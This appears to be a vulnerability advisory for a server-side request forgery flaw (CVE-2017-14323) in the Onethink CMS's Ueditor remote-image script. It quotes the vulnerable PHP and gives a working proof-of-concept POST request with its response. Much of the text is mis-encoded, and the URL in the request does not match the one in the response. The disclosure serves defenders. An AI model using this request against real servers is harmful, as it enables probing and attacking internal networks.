# SSRFPS"Server Side Request ForgeryPS(c) in Onethink All version (CVE-2017-14323) The Onethink is an open source CMS(Content Management System).This system is based on the Thinkphp3.2 development framework. ## Product Download: http://www.onethink.cn ## Vulnerability TypePSoSSRFPS"Server Side Request ForgeryPS(c) ## Attack Type : Remote ## Vulnerability Description Onethink uses a Ueditor editor with a flawed version that causes the SSRF vulnerability to occur. The vulnerability codePS"/Public/static/ueditor/php/getRemoteImage.phpPS(c): $uri = htmlspecialchars( $_POST[ 'upfile' ] ); $uri = str_replace( "&amp;" , "&" , $uri ); getRemoteImage( $uri,$config ); //echo($uri); /** * OP3IxY=E! * @param $uri * @param $config */ function getRemoteImage( $uri,$config) { //ooAOxY=E!E+-1/4aIThOAE set_time_limit( 0 ); //ue_separate_ue ueOAOU'<<uUEy3/4U*O,i*uoA $imgUrls = explode( "ue_separate_ue" , $uri ); $tmpNames = array(); foreach ( $imgUrls as $imgUrl ) { //http?aI*NeO$? if(strpos($imgUrl,"http")!==0){ array_push( $tmpNames , "error" ); continue; } //echo($imgUrl); //>>nE!CeCoI* $heads = get_headers( $imgUrl ); //This is a blind ssrf //EAA'1/4i2a if ( !( stristr( $heads[ 0 ] , "200" ) && stristr( $heads[ 0 ] , "OK" ) ) ) { array_push( $tmpNames , "error" ); continue; } //,nE1/2NeO$?(A(c)O1AuNeO$?oIContent-TypeNeO$?) $fileType = strtolower( strrchr( $imgUrl , '.' ) ); if ( !in_array( $fileType , $config[ 'allowFiles' ] ) || stristr( $heads[ 'Content-Type' ] , "image" ) ) { array_push( $tmpNames , "error" ); continue; } //var_dump($tmpNames); //'o?aEa3o>>o3aCo2C/>>nE!OP3II1/4AE! ob_start(); $context = stream_context_create( array ( 'http' => array ( 'follow_location' => false // don't follow redirects ) ) ); //CeE*+-PSphp.iniODuAfopen wrappersON3/41/4$?>>i readfile( $imgUrl,false,$context); //vulnerability is here,request any http(s) url $img = ob_get_contents(); ob_end_clean(); ## Exploit Request Content: POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1 Host: target User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 37 Connection: keep-alive upfile=https://www.google.com/?%23.jpg Response Content: HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=utf-8 Content-Length: 110 {'url':'upload/43361505134158.jpg','tip':'OP3II1/4AE!xY=E!3E1|PS!','srcUrl':'http://www.baidu.com/?#.jpg'} modify the above upfile parameterPS!example: request http protocol: upfile=http://www.google.com request https protocol: upfile=https://www.google.com This vulnerability only use http!C/https protocol this vulnerability trigger need allow\_url\_fopen option is enable in php.iniPS!allow\_url\_fopen option defualt is enable. ## Versions Onethink all version ## Impact SSRF(Server Side Request Forgery) in Onethink V1.0 and V1.1 version allow remote attackers to information detection,internal network server attack. ## Credit This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC) ## References CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14323 service@baimaohui.net